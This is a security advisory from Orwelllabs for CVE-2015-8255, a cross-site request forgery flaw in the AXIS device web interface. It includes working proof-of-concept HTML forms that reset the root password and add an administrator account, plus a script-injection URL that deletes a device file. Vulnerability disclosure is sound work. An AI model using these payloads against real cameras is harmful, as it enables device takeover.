AXIS Communications Cross Site Request Forgery

2017.03.18
Credit: orwelllabs
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

0RWELLL4BS ********** security advisory olsa-CVE-2015-8255 PGP: 79A6CCC0 @orwelllabs Advisory Information ==================== - Title: Cross-Site Request Forgery - Vendor: AXIS Communications - Research and Advisory: Orwelllabs - Class: Session Management control [CWE-352] - CVE Name: CVE-2015-8255 - Affected Versions: - IoT Attack Surface: Device Web Interface - OWASP IoTTop10: I1 Technical Details ================= Because of the own (bad) design of this kind of device (Actualy a big problem of IoT, one of them) The embedded web application does not verify whether a valid request was intentionally provided by the user who submitted the request. PoCs ==== #-> Setting root password to W!nst0n <html> <!-- CSRF PoC Orwelllabs --> <body> <form action="http://xxx.xxx.xxx.xxx/axis-cgi/admin/pwdgrp.cgi"> <input type="hidden" name="action" value="update" /> <input type="hidden" name="user" value="root" /> <input type="hidden" name="pwd" value="w!nst0n" /> <input type="hidden" name="comment" value="Administrator" /> <input type="submit" value="Submit request" /> </form> </body> </html> #-> Adding new credential SmithW:W!nst0n <html> <!-- CSRF PoC - Orwelllabs --> <body> <form action="http://xxx.xxx.xxx.xxx/axis-cgi/admin/pwdgrp.cgi"> <input type="hidden" name="action" value="add" /> <input type="hidden" name="user" value="SmithW" /> <input type="hidden" name="sgrp" value="viewer&#58;operator&#58;admin&#58;ptz" /> <input type="hidden" name="pwd" value="W!nst0n" /> <input type="hidden" name="grp" value="users" /> <input type="hidden" name="comment" value="WebUser" /> <input type="submit" value="Submit request" /> </form> </body> </html> #-> Deleting an app via directly CSRF (axis_update.shtml) http://xxx.xxx.xxx.xxx/axis-cgi/vaconfig.cgi?action=get&name=<script src=" http://xxx.xxx.xxx.xxx/axis-cgi/admin/local_del.cgi?+ /usr/html/local/viewer/axis_update.shtml"></script> [And many acitions allowed to an user [all of them?] can be forged in this way] Vendor Information, Solutions and Workarounds +++++++++++++++++++++++++++++++++++++++++++++ Well, this is a very old design problem of this kind of device, nothing new to say about that. Credits ======= These vulnerabilities has been discovered and published by Orwelllabs. Legal Notices ============= The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. We accept no responsibility for any damage caused by the use or misuse of this information. About Orwelllabs ================ https://www.exploit-db.com/author/?a=8225 https://packetstormsecurity.com/files/author/12322/


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